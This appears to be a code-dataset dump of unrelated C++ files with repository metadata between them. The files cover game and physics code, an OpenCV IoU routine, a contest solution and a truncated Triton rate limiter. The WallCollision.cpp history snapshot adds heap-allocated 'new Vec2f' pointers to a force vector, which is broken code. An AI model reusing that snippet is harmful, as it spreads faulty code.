materialPropertyVector_.push_back(matPropBlock);
// push back target names to material propertys
targetNames_.insert(targetNames_.begin(), matPropBlock->targetNames_.begin(), matPropBlock->targetNames_.end());
}
}
else {
throw std::runtime_error("Error: material_properties::load(): 'material_properties' line does not exist");
}
}
Simulation * MaterialProperties::root() {
return parent()->root();
}
Realm * MaterialProperties::parent() {
return & realm_;
}
|
[
"raphiluzern@gmx.ch"
] |
raphiluzern@gmx.ch
|
2305b6ca636f509dfb013ea43d7e4798557c802c
|
cbd201169b823159a3da0a5188995a0b10c815e6
|
/BarrierBase.h
|
924e108a0c6073563f3a7d66c115e9ddda2fba66
|
[] |
no_license
|
paullam328/Nova
|
bdd520432700fe95cc484b9955a698b3e4ed4b22
|
c2ad879845d68efe7fd1f4aab121a711bf3d3b15
|
refs/heads/master
| 2022-03-29T07:37:01.823454
| 2020-01-17T15:39:59
| 2020-01-17T15:39:59
| 234,577,430
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,351
|
h
|
// Copywrite Shapeshifter 2019
#pragma once
#include "CoreMinimal.h"
#include "GameFramework/Actor.h"
#include "UnrealNetwork.h"
#include "BarrierBase.generated.h"
class UBoxComponent;
class UAkAudioEvent;
class AFighterBase;
UCLASS()
class NOVAFINAL_API ABarrierBase : public AActor
{
GENERATED_BODY()
public:
// Sets default values for this actor's properties
ABarrierBase(const FObjectInitializer& ObjectInitializer);
virtual void PostInitializeComponents() override;
protected:
// Called when the game starts or when spawned
virtual void BeginPlay() override;
public:
// Called every frame
virtual void Tick(float DeltaTime) override;
#pragma region CollisionFunctions
UFUNCTION()
void OnHit(UPrimitiveComponent* HitComp, AActor* OtherFighter, UPrimitiveComponent* OtherComp, FVector NormalImpulse,const FHitResult& sweepResult);
UFUNCTION()
void OnOverlapEnd(UPrimitiveComponent* OverlappedComp, AActor* OtherActor, UPrimitiveComponent* OtherComp, int32 OtherBodyIndex);
#pragma endregion
#pragma region Properties
UPROPERTY(EditAnywhere, BlueprintReadWrite)
UBoxComponent* CollisionBox;
UPROPERTY(EditAnywhere, BlueprintReadWrite)
FVector_NetQuantize HitBounceVec = FVector_NetQuantize(0.0f, 2000.0f, 600.0f);
#pragma endregion
UFUNCTION(BlueprintCallable)
void Wwise_OverlapBarrierTrigger(AActor* Fighter);
};
|
[
"paullam328@gmail.com"
] |
paullam328@gmail.com
|
3039b4867f554622b0d9aba05b4abad267903de1
|
a4e71a990c970124e2447fca7b5d12ae80f45b01
|
/.history/src/WallCollision_20210525182915.cpp
|
333611a0d7b2fd3005c01596fd9d945536c6fea8
|
[] |
no_license
|
TbabmBarry/eulerian-2d-fluid-simulation
|
474f7b36059f1e8efd0ff8f4a0fea901b0f1dfd9
|
d16d62a1cd23edb5cb792737b9dc0fb6e6715868
|
refs/heads/main
| 2023-06-06T16:13:49.380223
| 2021-07-04T12:15:36
| 2021-07-04T12:15:36
| 377,268,760
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 994
|
cpp
|
#include "SpringForce.h"
#include "WallCollision.h"
#include <GL/glut.h>
#include <gfx/vec2.h>
#include <math.h>
WallCollision::WallCollision(vector<Particle*> particles, Vec2f g) :
g(g) {
this->setTarget(particles);
}
void WallCollision::setTarget(vector<Particle*> particles)
{
this->particles = particles;
}
void WallCollision::apply(bool springsCanBreak)
{ // force = mg
if (this->active)
{
for (Particle *p : particles){
if(p->m_Position[0]<-0.5){
p->m_Force += new Vec2f(10,0);
}
if(p->m_Position[0]>0.5){
p->m_Force += new Vec2f(-10,0);
}
if(p->m_Position[1]<-0.5){
p->m_Force += new Vec2f(0,10);
}
if(p->m_Position[1]>0.5){
p->m_Force += new Vec2f(0,-10);
}
}
}
}
map<int, map<int, float>> WallCollision::dx()
{
return map<int, map<int, float>>();
}
MatrixXf WallCollision::dv()
{
return MatrixXf();
}
void WallCollision::draw()
{}
|
[
"lbllbl93@gmail.com"
] |
lbllbl93@gmail.com
|
3c71d91bf726ab70218c1c17196d0c4c188a88c5
|
17c92dbc19db923e0809a81141e5586646ca5308
|
/test/tmplval_list_test.cpp
|
3ad0695372ca0be68f64f73568d994b1acad78f8
|
[] |
no_license
|
masaharu-kato/cype
|
f6ed1026eccfac5bd9482958cb0dcba55c029f51
|
e8c85e0b662a9ea38916641fd85f1299f79f80ba
|
refs/heads/master
| 2020-07-04T17:07:17.756943
| 2019-09-09T10:40:49
| 2019-09-09T10:40:49
| 202,349,614
| 0
| 0
| null | 2019-09-09T10:40:50
| 2019-08-14T12:49:08
|
C++
|
UTF-8
|
C++
| false
| false
| 1,033
|
cpp
|
#include "tmplval_list.h"
#include <type_traits>
using namespace cype;
int main(void) {
using vals1 = tmplval_list<size_t, 16, 35, 50>;
using vals2 = tmplval_list<size_t, 13, 24, 57>;
using vals3 = tmplval_list<size_t, 14, 38, 43, 59>;
using vals12 = vals1::merge_of_value_sorted<vals2>;
using vals123 = vals12::merge_of_value_sorted<vals3>;
static_assert(std::is_same_v<vals12 , tmplval_list<size_t, 13, 16, 24, 35, 50, 57>>);
static_assert(std::is_same_v<vals123, tmplval_list<size_t, 13, 14, 16, 24, 35, 38, 43, 50, 57, 59>>);
using vals123_l = vals123::range_of<0, 4>;
using vals123_r = vals123::range_of<5, 9>;
static_assert(std::is_same_v<vals123_l, tmplval_list<size_t, 13, 14, 16, 24, 35>>);
static_assert(std::is_same_v<vals123_r, tmplval_list<size_t, 38, 43, 50, 57, 59>>);
using val4 = tmplval_list<size_t, 40, 13, 25, 10, 7>;
static_assert(val4::size == 5);
using val4_sorted = val4::value_sorted;
static_assert(std::is_same_v<val4_sorted, tmplval_list<size_t, 7, 10, 13, 25, 40>>);
return 0;
}
|
[
"anothat.alone@gmail.com"
] |
anothat.alone@gmail.com
|
d1c5debc14552839683b67d5f910636aeb7be82f
|
f3a8d3bac3a023b99421910b0fd19fd64254ae12
|
/opencv_base/IOU/iou.cpp
|
d6836a3d847a4ada1895693cbcc6aa949475c75d
|
[] |
no_license
|
jimmixliu/Opencv
|
879627925693c4d65dd20f5921eb01493634797f
|
ce9309eda4a0ad5fd0747d39b12755fd23a8dfa1
|
refs/heads/master
| 2021-01-23T16:04:49.824668
| 2018-06-15T07:55:53
| 2018-06-15T07:55:53
| 102,720,827
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,401
|
cpp
|
#include "opencv2/core/core.hpp"
#include "opencv2/imgproc/imgproc.hpp"
#include "opencv2/highgui/highgui.hpp"
#include <iostream>
#include <stdlib.h>
#include <stdio.h>
using namespace cv;
using namespace std;
float rect_iou(Rect &r1, Rect &r2);
float rect_iou1(Rect &r1, Rect &r2);
int main(int argc, char ** argv)
{
Mat img = imread(argv[1]);
Rect r1;
Rect r2;
r1.x = 50;
r1.y = 50;
r1.width = 50;
r1.height = 50;
r2.x = 200;
r2.y = 200;
r2.width = 300;
r2.height = 400;
rectangle(img,r1,Scalar(0,0,255),3,8,0);
rectangle(img,r2,Scalar(0,255,255),3,8,0);
imshow("rectangle",img);
cout<<rect_iou(r1, r2)<<endl;
cout<<rect_iou1(r1, r2)<<endl;
waitKey(0);
return 0;
}
/*
*
*IOU = (Area(x) & Area(y))/(Area(x) | Area(y)) - (Area(x) & Area(y))
*
*
*/
float rect_iou1(Rect &r1, Rect &r2)
{
Rect rect0 = r1 & r2;
//Rect rect1 = r1 | r2;
float area0 = rect0.width * rect0.height;
float area1 = r1.width * r1.height + r2.width * r2.height;
float ratio = area0 /(area1-area0);
return ratio;
}
float rect_iou(Rect &r1, Rect &r2)
{
float ratio;
int W = (min(r1.x+r1.width,r2.x+r2.width) - max(r1.x,r2.x));
int H = (min(r1.y+r1.height,r2.y+r2.height) - max(r1.y,r2.y));
if(W < 1 || H < 1){
return 0;
}
int Area = W * H;
int AllArea = r1.width * r1.height + r2.width * r2.height;
ratio = (float)Area/(float)(AllArea-Area);
return ratio;
}
|
[
"noreply@github.com"
] |
jimmixliu.noreply@github.com
|
94894135a330faa78793f0c11c00dd4dcb2caee0
|
4e5d07a9eb881defd7923a4575809259522bd25f
|
/atcoder/abc/201-210/208/a.cpp
|
4934fed322c337c6963a1ea05b73b52e3a9f1f46
|
[] |
no_license
|
kt117/ProCom
|
c81e6c55c3f4b329c79755f43e8154e297328174
|
c5547429560100728cf15a8a8a696aa8c6c0317b
|
refs/heads/master
| 2022-05-06T15:41:01.639231
| 2022-04-09T17:23:21
| 2022-04-09T17:23:21
| 254,284,537
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 611
|
cpp
|
#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef pair<ll, ll> P;
const ll MOD = 1e9+7;
const ll INF = 1e18;
#define rep(i,m,n) for(ll i = (m); i <= (n); i++)
#define zep(i,m,n) for(ll i = (m); i < (n); i++)
#define rrep(i,m,n) for(ll i = (m); i >= (n); i--)
#define print(x) cout << (x) << endl;
#define printa(x,m,n) for(int i = (m); i <= n; i++){cout << (x[i]) << " ";} cout<<endl;
int main(){
cin.tie(0); ios::sync_with_stdio(false);
ll a, b; cin >> a >> b;
if(a <= b && b <= 6 * a){
print("Yes")
}else{
print("No")
}
return 0;
}
|
[
"k.tohyama17@gmail.com"
] |
k.tohyama17@gmail.com
|
84e42c9e21c5ebb99e37748578e25a7bbb540fb6
|
74f12d0c570eb59b26d2790da04f0a43845ab034
|
/NS/Renderers/FluidAutomata3D/RendererFluidAutomata3D.hpp
|
75675fe0d5c012995a5bcfd8b633637043ebb117
|
[] |
no_license
|
angusforbes/OpenGLRenderLibrary
|
3d3ed633f8dd8d5749e929a1d74571958331ee94
|
397a7120e0b474a8457dc0e9725a09726c1b74e5
|
refs/heads/master
| 2016-09-06T03:02:37.093479
| 2012-05-13T23:47:24
| 2012-05-13T23:47:24
| 3,769,382
| 6
| 3
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 408
|
hpp
|
#include "Renderer.hpp"
#ifndef RendererFluidAutomata3D_hpp
#define RendererFluidAutomata3D_hpp
class RendererFluidAutomata3D : public Renderer {
public:
RendererFluidAutomata3D();
virtual void Initialize();
virtual void Render();
void MakeTextureCoords();
void HandleKeyDown(char key, bool shift, bool control, bool command, bool option, bool function);
private:
};
#endif
|
[
"angus.forbes@mat.ucsb.edu"
] |
angus.forbes@mat.ucsb.edu
|
08d9edbd8f609de434fe05c5f8a7b837cf3d5eec
|
5e6a548192419d2cb0c1266bb2b8a273a073ae2f
|
/src/core/rate_limiter.cc
|
ff314ed28f2a965855b462f22bdcb50dfcae0923
|
[
"BSD-3-Clause"
] |
permissive
|
9cvele3/server
|
32ad736c32bb0677a164732a8283ed3fdfd4dd62
|
62e8616bdce709c4a76c35eaa5b52a2196b3322e
|
refs/heads/main
| 2023-08-07T14:14:18.327653
| 2021-09-09T00:20:41
| 2021-09-09T00:20:41
| 399,753,534
| 0
| 0
|
NOASSERTION
| 2021-08-25T08:56:53
| 2021-08-25T08:56:53
| null |
UTF-8
|
C++
| false
| false
| 28,906
|
cc
|
// Copyright 2020-2021, NVIDIA CORPORATION & AFFILIATES. All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions
// are met:
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
// * Neither the name of NVIDIA CORPORATION nor the names of its
// contributors may be used to endorse or promote products derived
// from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY
// EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
// PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
// EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
// PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
// OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#include "src/core/rate_limiter.h"
#include "src/core/logging.h"
namespace nvidia { namespace inferenceserver {
constexpr size_t MAX_PAYLOAD_BUCKET_COUNT = 1000;
//=========================================================================
// Core Implementation
//=========================================================================
Status
RateLimiter::Create(
const bool ignore_resources_and_priority,
const RateLimiter::ResourceMap& resource_map,
std::unique_ptr<RateLimiter>* rate_limiter)
{
std::unique_ptr<RateLimiter> local_rate_limiter(
new RateLimiter(ignore_resources_and_priority, resource_map));
*rate_limiter = std::move(local_rate_limiter);
return Status::Success;
}
Status
RateLimiter::RegisterModelInstance(
TritonModelInstance* triton_model_instance,
const RateLimiterConfig& rate_limiter_config)
{
{
std::lock_guard<std::mutex> lk1(model_contexts_mtx_);
std::lock_guard<std::mutex> lk2(model_instances_mtx_);
auto& model_context = model_contexts_[triton_model_instance->Model()];
auto& model_instances = model_instances_[triton_model_instance->Model()];
model_instances.push_back(std::shared_ptr<ModelInstance>(new ModelInstance(
triton_model_instance, &model_context, rate_limiter_config,
[this](ModelInstance* instance) { OnStage(instance); },
[this](ModelInstance* instance) { OnRelease(instance); })));
model_context.AddAvailableInstance(model_instances.back().get());
model_context.AddSpecificRequestQueue();
if (!ignore_resources_and_priority_) {
resource_manager_->AddModelInstance(model_instances.back().get());
RETURN_IF_ERROR(resource_manager_->UpdateResourceLimits());
}
}
return Status::Success;
}
Status
RateLimiter::UnregisterModel(const TritonModel* model)
{
{
std::lock_guard<std::mutex> lk1(model_contexts_mtx_);
std::lock_guard<std::mutex> lk2(model_instances_mtx_);
auto& model_context = model_contexts_[model];
model_context.RequestRemoval();
for (const auto& instance : model_instances_[model]) {
instance->WaitForRemoval();
if (!ignore_resources_and_priority_) {
resource_manager_->RemoveModelInstance(instance.get());
}
}
model_instances_.erase(model);
model_contexts_.erase(model);
}
if (!ignore_resources_and_priority_) {
RETURN_IF_ERROR(resource_manager_->UpdateResourceLimits());
}
if (payload_queues_.find(model) != payload_queues_.end()) {
payload_queues_.erase(model);
}
return Status::Success;
}
void
RateLimiter::InitializePayloadQueues(const TritonModelInstance* instance)
{
auto& config = instance->Model()->Config();
uint64_t max_queue_delay_microseconds;
if (config.has_sequence_batching()) {
const auto& batcher_config = config.sequence_batching();
if (batcher_config.has_oldest()) {
max_queue_delay_microseconds =
batcher_config.oldest().max_queue_delay_microseconds();
} else {
max_queue_delay_microseconds = 0;
}
} else if (config.has_dynamic_batching()) {
max_queue_delay_microseconds =
config.dynamic_batching().max_queue_delay_microseconds();
} else {
max_queue_delay_microseconds = 0;
}
if (payload_queues_.find(instance->Model()) == payload_queues_.end()) {
payload_queues_.emplace(
instance->Model(),
new PayloadQueue(
config.max_batch_size(), max_queue_delay_microseconds * 1000));
}
PayloadQueue* payload_queue = payload_queues_[instance->Model()].get();
if (payload_queue->specific_queues_.find(instance) ==
payload_queue->specific_queues_.end()) {
payload_queue->specific_queues_.emplace(
instance,
new InstanceQueue(
config.max_batch_size(), max_queue_delay_microseconds * 1000));
}
}
bool
RateLimiter::PayloadSlotAvailable(const TritonModel* model)
{
bool result;
PayloadQueue* payload_queue = payload_queues_[model].get();
{
std::lock_guard<std::mutex> lk(payload_queue->mu_);
result = payload_queue->queue_->Size() <
2 * payload_queue->specific_queues_.size();
}
return result;
}
Status
RateLimiter::EnqueuePayload(
const TritonModel* model, std::shared_ptr<Payload> payload)
{
auto pinstance = payload->GetInstance();
if (payload_queues_.find(model) == payload_queues_.end()) {
LOG_INFO << "Should not print this ";
}
PayloadQueue* payload_queue = payload_queues_[model].get();
{
std::lock_guard<std::mutex> lk(payload_queue->mu_);
payload->SetState(Payload::State::REQUESTED);
if (pinstance == nullptr) {
payload_queue->queue_->Enqueue(payload);
} else {
payload_queue->specific_queues_[pinstance]->Enqueue(payload);
}
if (ignore_resources_and_priority_) {
// Directly schedule the payload to run
payload->SetState(Payload::State::SCHEDULED);
}
}
if (ignore_resources_and_priority_) {
// Directly wake up any one of the waiting threadto process the payload.
if (pinstance == nullptr) {
payload_queue->cv_.notify_one();
} else {
payload_queue->cv_.notify_all();
}
} else {
// TODO: Implement the RateLimiting pipeline here that will schedule when
// an ExecuteThread gets to run.
}
return Status::Success;
}
void
RateLimiter::DequeuePayload(
std::deque<TritonModelInstance*>& instances,
std::shared_ptr<Payload>* payload)
{
payload->reset();
if (payload_queues_.find(instances[0]->Model()) == payload_queues_.end()) {
LOG_INFO << "Should not print this ";
}
PayloadQueue* payload_queue = payload_queues_[instances[0]->Model()].get();
if (ignore_resources_and_priority_) {
std::vector<std::shared_ptr<Payload>> merged_payloads;
size_t instance_index;
{
std::unique_lock<std::mutex> lk(payload_queue->mu_);
payload_queue->cv_.wait(
lk, [&instances, &instance_index, payload_queue]() {
bool empty = payload_queue->queue_->Empty();
if (empty) {
instance_index = 0;
for (const auto instance : instances) {
empty = payload_queue->specific_queues_[instance]->Empty();
if (empty) {
instance_index++;
} else {
break;
}
}
}
return !empty;
});
if (instance_index < instances.size()) {
TritonModelInstance* instance = instances[instance_index];
if (!payload_queue->specific_queues_[instance]->Empty()) {
payload_queue->specific_queues_[instance]->Dequeue(
payload, &merged_payloads);
}
} else {
payload_queue->queue_->Dequeue(payload, &merged_payloads);
}
}
for (auto& merge_payload : merged_payloads) {
PayloadRelease(merge_payload);
}
(*payload)->Callback();
if ((*payload)->GetInstance() == nullptr) {
(*payload)->SetInstance(instances.front());
instances.pop_front();
} else {
instances.erase(instances.begin() + instance_index);
}
} else {
// TODO: Wait till RateLimiting pipeline notifies the thread
}
}
Status
RateLimiter::RequestModelInstance(
const StandardScheduleFunc& OnSchedule, const TritonModel* model,
TritonModelInstance* triton_model_instance)
{
std::lock_guard<std::mutex> lk(model_contexts_mtx_);
auto itr = model_contexts_.find(model);
if (itr == model_contexts_.end()) {
return Status(
Status::Code::INTERNAL,
"Requested model is not yet registered with rate limiter");
}
if (itr->second.isRemovalInProgress()) {
return Status(
Status::Code::INTERNAL,
"New model requests can not be made to a model that is being "
"removed");
}
itr->second.EnqueueModelInstanceRequest(OnSchedule, triton_model_instance);
if (ignore_resources_and_priority_) {
// Directly allocate an available model instance if not using rate
// limiter.
itr->second.AllocateInstanceIfAvailable();
} else {
itr->second.StageInstanceIfAvailable();
}
return Status::Success;
}
std::shared_ptr<Payload>
RateLimiter::GetPayload(
const Payload::Operation op_type, TritonModelInstance* instance)
{
std::shared_ptr<Payload> payload;
if (max_payload_bucket_count_ > 0) {
std::lock_guard<std::mutex> lock(alloc_mu_);
if (!payload_bucket_.empty()) {
payload = payload_bucket_.back();
payload_bucket_.pop_back();
}
if (payload.get() == nullptr && (!payloads_in_use_.empty())) {
// Just checking the front of the queue instead the entire queue for
// an available payload to save time.
if (payloads_in_use_.front().use_count() == 1) {
payload = payloads_in_use_.front();
payloads_in_use_.pop_front();
}
}
}
if (payload.get() == nullptr) {
payload.reset(new Payload());
}
payload->Reset(op_type, instance);
return payload;
}
void
RateLimiter::PayloadRelease(std::shared_ptr<Payload>& payload)
{
if (max_payload_bucket_count_ > 0) {
std::lock_guard<std::mutex> lock(alloc_mu_);
if (payloads_in_use_.size() + payload_bucket_.size() <
max_payload_bucket_count_) {
// Release iff the payload shared_ptr is uniquely held.
if (payload.use_count() == 1) {
payload->Release();
payload_bucket_.push_back(std::move(payload));
return;
} else {
payloads_in_use_.push_back(std::move(payload));
}
}
}
}
RateLimiter::RateLimiter(
const bool ignore_resources_and_priority, const ResourceMap& resource_map)
: ignore_resources_and_priority_(ignore_resources_and_priority),
max_payload_bucket_count_(MAX_PAYLOAD_BUCKET_COUNT)
{
ResourceManager::Create(resource_map, &resource_manager_);
}
void
RateLimiter::OnStage(ModelInstance* instance)
{
{
std::lock_guard<std::recursive_mutex> lk(staged_instances_mtx_);
staged_instances_.push(instance);
}
AttemptAllocation();
}
void
RateLimiter::OnRelease(ModelInstance* instance)
{
auto& model_context = model_contexts_[instance->RawInstance()->Model()];
model_context.AddAvailableInstance(instance);
if (!ignore_resources_and_priority_) {
resource_manager_->ReleaseResources(instance);
}
if (model_context.ContainsPendingRequests(instance->RawInstance()->Index())) {
if (ignore_resources_and_priority_) {
// Directly allocate an available model instance if not using rate
// limiter.
model_context.AllocateInstanceIfAvailable();
} else {
model_context.StageInstanceIfAvailable();
}
}
AttemptAllocation();
}
void
RateLimiter::AttemptAllocation()
{
std::lock_guard<std::recursive_mutex> lk(staged_instances_mtx_);
if (!staged_instances_.empty()) {
ModelInstance* instance = staged_instances_.top();
if (ignore_resources_and_priority_ ||
resource_manager_->AllocateResources(instance)) {
staged_instances_.pop();
instance->Allocate();
}
}
}
//=========================================================================
// ModelContext Implementation
//=========================================================================
RateLimiter::ModelContext::ModelContext() : removal_in_progress_(false) {}
Status
RateLimiter::ModelContext::EnqueueModelInstanceRequest(
const StandardScheduleFunc& OnSchedule,
TritonModelInstance* triton_model_instance)
{
std::lock_guard<std::recursive_mutex> lk(request_queue_mtx_);
if (triton_model_instance == nullptr) {
generic_request_queue_.push(OnSchedule);
} else if (
(uint32_t)triton_model_instance->Index() <
specific_request_queues_.size()) {
specific_request_queues_[triton_model_instance->Index()].push(OnSchedule);
} else {
return Status(
Status::Code::INTERNAL,
"expected instance index between 0 and " +
std::to_string(specific_request_queues_.size()) + ", got " +
std::to_string(triton_model_instance->Index()));
}
return Status::Success;
}
void
RateLimiter::ModelContext::AddAvailableInstance(ModelInstance* instance)
{
std::lock_guard<std::recursive_mutex> lk(avbl_instances_mtx_);
avbl_instances_.push(instance);
instance->MarkAvailable();
}
void
RateLimiter::ModelContext::StageInstanceIfAvailable()
{
std::lock_guard<std::recursive_mutex> lk1(request_queue_mtx_);
std::lock_guard<std::recursive_mutex> lk2(avbl_instances_mtx_);
PriorityQueue backup_queue;
while (!avbl_instances_.empty()) {
ModelInstance* instance = avbl_instances_.top();
if (!specific_request_queues_[instance->RawInstance()->Index()].empty()) {
// Prioritize the specific requests for the available model
// instance highest priority.
const StandardScheduleFunc func =
specific_request_queues_[instance->RawInstance()->Index()].front();
specific_request_queues_[instance->RawInstance()->Index()].pop();
instance->Stage(func);
} else if (!generic_request_queue_.empty()) {
// If request is for generic model instance then use the
// instance with the highest priority.
const StandardScheduleFunc func = generic_request_queue_.front();
generic_request_queue_.pop();
instance->Stage(func);
} else {
// If there are requests for a specific model instance then backup
// the model instance and keep searching through the available
// model instances. The prioritization will be taken care of in the
// staging priority queue.
backup_queue.push(instance);
}
avbl_instances_.pop();
}
// Restore the backup queue
if (!backup_queue.empty()) {
avbl_instances_.swap(backup_queue);
}
}
void
RateLimiter::ModelContext::AllocateInstanceIfAvailable()
{
std::lock_guard<std::recursive_mutex> lk1(request_queue_mtx_);
std::lock_guard<std::recursive_mutex> lk2(avbl_instances_mtx_);
PriorityQueue backup_queue;
while (!avbl_instances_.empty()) {
ModelInstance* instance = avbl_instances_.top();
if (!specific_request_queues_[instance->RawInstance()->Index()].empty()) {
// Prioritize the specific requests for the available model
// instance highest priority.
const StandardScheduleFunc func =
specific_request_queues_[instance->RawInstance()->Index()].front();
specific_request_queues_[instance->RawInstance()->Index()].pop();
instance->DirectAllocate(func);
} else if (!generic_request_queue_.empty()) {
// If request is for generic model instance then use the
// instance with the highest priority.
const StandardScheduleFunc func = generic_request_queue_.front();
generic_request_queue_.pop();
instance->DirectAllocate(func);
} else {
// If there are requests for a specific model instance then backup
// the model instance and keep searching through the available
// model instances. The prioritization will be taken care of in the
// staging priority queue.
backup_queue.push(instance);
}
avbl_instances_.pop();
}
// Restore the backup queue
if (!backup_queue.empty()) {
avbl_instances_.swap(backup_queue);
}
}
void
RateLimiter::ModelContext::AddSpecificRequestQueue()
{
std::lock_guard<std::recursive_mutex> lk(request_queue_mtx_);
specific_request_queues_.emplace_back();
}
bool
RateLimiter::ModelContext::ContainsPendingRequests(int index)
{
std::lock_guard<std::recursive_mutex> lk(request_queue_mtx_);
return (generic_request_queue_.size() != 0) ||
(specific_request_queues_[index].size() != 0);
}
void
RateLimiter::ModelContext::RequestRemoval()
{
removal_in_progress_ = true;
}
//=========================================================================
// ModelInstance Implementation
//=========================================================================
RateLimiter::ModelInstance::ModelInstance(
TritonModelInstance* triton_model_instance,
RateLimiter::ModelContext* model_context,
const RateLimiter::RateLimiterConfig& rate_limiter_config,
RateLimiter::StandardStageFunc OnStage,
RateLimiter::StandardReleaseFunc OnRelease)
: triton_model_instance_(triton_model_instance),
model_context_(model_context), rate_limiter_config_(rate_limiter_config),
OnStage_(OnStage), OnRelease_(OnRelease), exec_count_(0),
state_(AVAILABLE)
{
}
void
RateLimiter::ModelInstance::MarkAvailable()
{
std::lock_guard<std::mutex> lk(state_mtx_);
state_ = AVAILABLE;
}
Status
RateLimiter::ModelInstance::Stage(StandardScheduleFunc OnSchedule)
{
{
std::lock_guard<std::mutex> lk(state_mtx_);
if (state_ != AVAILABLE) {
return Status(
Status::Code::INTERNAL,
"Can not stage a model instance that is not yet available");
}
state_ = STAGED;
OnSchedule_ = OnSchedule;
}
OnStage_(this);
return Status::Success;
}
Status
RateLimiter::ModelInstance::Allocate()
{
{
std::lock_guard<std::mutex> lk(state_mtx_);
if (state_ != STAGED) {
return Status(
Status::Code::INTERNAL,
"Can not allocate a model instance that is not yet staged");
}
state_ = ALLOCATED;
}
OnSchedule_(this);
return Status::Success;
}
Status
RateLimiter::ModelInstance::DirectAllocate(StandardScheduleFunc OnSchedule)
{
{
std::lock_guard<std::mutex> lk(state_mtx_);
if (state_ != AVAILABLE) {
return Status(
Status::Code::INTERNAL,
"Can not allocate a model instance that is not yet available");
}
state_ = ALLOCATED;
}
OnSchedule(this);
return Status::Success;
}
void
RateLimiter::ModelInstance::Release()
{
if (executed_) {
exec_count_++;
}
OnRelease_(this);
{
std::lock_guard<std::mutex> lk(state_mtx_);
if ((model_context_->isRemovalInProgress()) && (state_ == AVAILABLE) &&
(!model_context_->ContainsPendingRequests(
triton_model_instance_->Index()))) {
state_ = REMOVED;
}
}
if (state_ == REMOVED) {
cv_.notify_all();
}
}
void
RateLimiter::ModelInstance::RequestRemoval()
{
std::lock_guard<std::mutex> lk(state_mtx_);
if ((state_ == AVAILABLE) && (!model_context_->ContainsPendingRequests(
triton_model_instance_->Index()))) {
state_ = REMOVED;
}
}
void
RateLimiter::ModelInstance::WaitForRemoval()
{
if (!model_context_->isRemovalInProgress()) {
model_context_->RequestRemoval();
}
RequestRemoval();
// Wait for the instance to be removed
{
std::unique_lock<std::mutex> lk(state_mtx_);
cv_.wait(lk, [this] { return state_ == REMOVED; });
}
}
double
RateLimiter::ModelInstance::ScaledPriority()
{
// TODO: Different schemes for the prioritization of
// model instance can be added here.
return (exec_count_ * rate_limiter_config_.priority());
}
//=========================================================================
// ResourceManager Implementation
//=========================================================================
Status
RateLimiter::ResourceManager::Create(
const ResourceMap& resource_map,
std::unique_ptr<ResourceManager>* resource_manager)
{
std::unique_ptr<ResourceManager> local_resource_manager(
new ResourceManager(resource_map));
*resource_manager = std::move(local_resource_manager);
return Status::Success;
}
void
RateLimiter::ResourceManager::AddModelInstance(
const RateLimiter::ModelInstance* instance)
{
std::lock_guard<std::mutex> lk(model_resources_mtx_);
auto pr = model_resources_.emplace(std::make_pair(instance, ResourceMap()));
for (const auto& resource : instance->GetRateLimiterConfig()->resources()) {
if (resource.global()) {
(pr.first->second[GLOBAL_RESOURCE_KEY])[resource.name()] =
resource.count();
} else {
(pr.first->second[instance->RawInstance()->DeviceId()])[resource.name()] =
resource.count();
}
}
}
Status
RateLimiter::ResourceManager::RemoveModelInstance(
const RateLimiter::ModelInstance* instance)
{
std::lock_guard<std::mutex> lk(model_resources_mtx_);
const auto& itr = model_resources_.find(instance);
if (itr == model_resources_.end()) {
return Status(
Status::Code::INTERNAL, "Can not find the instance to remove");
}
model_resources_.erase(instance);
return Status::Success;
}
Status
RateLimiter::ResourceManager::UpdateResourceLimits()
{
std::lock_guard<std::mutex> lk1(max_resources_mtx_);
std::lock_guard<std::mutex> lk2(model_resources_mtx_);
max_resources_.clear();
// Obtain the maximum resource across all the instances
// and use it as the default available.
for (const auto& instance_resources : model_resources_) {
for (const auto& resource_device_map : instance_resources.second) {
auto ditr = max_resources_.find(resource_device_map.first);
if (ditr == max_resources_.end()) {
ditr =
max_resources_
.emplace(resource_device_map.first, resource_device_map.second)
.first;
} else {
for (const auto resource : resource_device_map.second) {
auto ritr = ditr->second.find(resource.first);
if (ritr == ditr->second.end()) {
ritr = ditr->second.emplace(resource.first, resource.second).first;
} else {
if (ritr->second < resource.second) {
ritr->second = resource.second;
}
}
}
}
}
}
if (!explicit_max_resources_.empty()) {
RETURN_IF_ERROR(ParseAndValidateExplicitResources());
}
RETURN_IF_ERROR(ValidateMaxResources());
if (LOG_VERBOSE_IS_ON(1)) {
std::string resource_map_str{"\nMax Resource Map===>\n"};
for (const auto& ditr : max_resources_) {
if (!ditr.second.empty()) {
std::string device_str{(ditr.first == GLOBAL_RESOURCE_KEY)
? "GLOBAL"
: std::to_string(ditr.first)};
resource_map_str += "\tDevice: " + device_str + "\n";
for (const auto& ritr : ditr.second) {
resource_map_str += "\t\tResource: " + ritr.first +
"\t Count: " + std::to_string(ritr.second) + "\n";
}
}
}
